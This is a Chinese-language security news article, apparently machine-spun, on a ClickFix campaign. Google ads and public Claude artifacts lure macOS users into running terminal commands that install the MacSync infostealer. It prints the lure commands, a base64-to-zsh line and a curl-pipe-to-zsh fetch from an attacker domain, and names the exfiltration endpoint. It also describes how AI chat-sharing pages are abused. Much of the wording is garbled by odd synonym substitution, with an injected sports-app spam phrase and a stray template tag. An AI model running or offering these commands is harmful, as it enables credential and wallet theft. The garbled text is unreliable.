坏心分子正借助 Claude 分享内容与谷歌告白首起 ClickFix 袭击，向搜索特定关键词的 macOS 用户分发信息窃取类坏心软件。筹商东谈主员已在萧瑟发现至少两种袭击变体，跳跃 1 万名用户探访过包含危机指示的坏心内容。
Claude 分享内容（Claude artifact）是指由用户通过 Anthropic 大讲话模子生成并公开的内容，神情包括指示、教程、代码片断等。这类内容安稳于主对话界面，任何东谈主齐可通过 claude.ai 域名下的联结平直探访。
该类页面会指示用户：所展示内容由用户生成，未经准确性考据。
筹商东谈主员发现，在谷歌搜索中，"在线 DNS 贯通器"" macOS 高歌行磁盘空间分析器具"" HomeBrew "等关键词均出现了坏心引申成果。
坏心 HomeBrew 搜索成果
这些搜索成果会跳转到公开的 Claude 分享内容，或冒充苹果官方撑合手的 Medium 著作。两种页面齐会开导用户在终局中粘贴并实行 Shell 高歌。
第一种袭击变体开导实行的高歌为：
echo "..." | base64 -D | zsh
第二种为：
{jz:field.toptypename/}true && cur""l -SsLfk --compressed "https://raxelpak [ . ] com/curl/ [ hash ] " | zsh
第二种袭击变体使用伪造苹果撑合手页面
筹商东谈主员发现，该坏心 Claude 教程页面浏览量已至少达到 15600 次，这一数据可约莫响应上当用户领域。字据几天前不雅测到的该页面知道，浏览量为 12300 次。
Claude 对话中托管的 ClickFix 袭击指挥页面
在终局实行上述高歌后，系统会下载一个 MacSync 信息窃取木马的加载器，用于窃取树立上的敏锐数据。
筹商东谈主员默示，斗鱼体育app该木马使用硬编码令牌与 API 密钥谄谀高歌与赶走（C2）基础设施，并伪造 macOS 浏览器 UA 以伪装成曩昔流量。
高歌实行成果会平直传递给 osascript，由 AppleScript 认信得过行实质的窃取行动，包括钥匙串、浏览器数据、加密货币钱包等信息。"
窃取的数据会打包为 /tmp/osalogging.zip，通过 HTTP POST 申请上传至袭击者 C2 做事器 a2abotnet [ . ] com/gate。若传输失败，压缩包会被拆分为多个小块并重试 8 次。上传收效后，设施会实行计帐操作，抹除整个踪影。
两种袭击变体均从团结 C2 地址下载第二阶段载荷，标明背后是团结威逼组织所为。 此前已有访佛袭击算作诈欺 ChatGPT、Grok 的对话分享功能分发 AMOS 信息窃取木马。2025 年 12 月，筹商东谈主员就发现袭击者诈欺 ChatGPT 与 Grok 对话分享联结，针对 macOS 用户发动 ClickFix 袭击。
这次袭击驱动摧毁 Claude，标明大模子摧毁已扩散至更多主流平台。安全筹商东谈主员提醒用户保合手严慎，不要在终局实行开首不解或无法十足统一的高歌。而在团结双话中向聊天机器东谈主策划高歌是否安全，是简便灵验的判断轨范。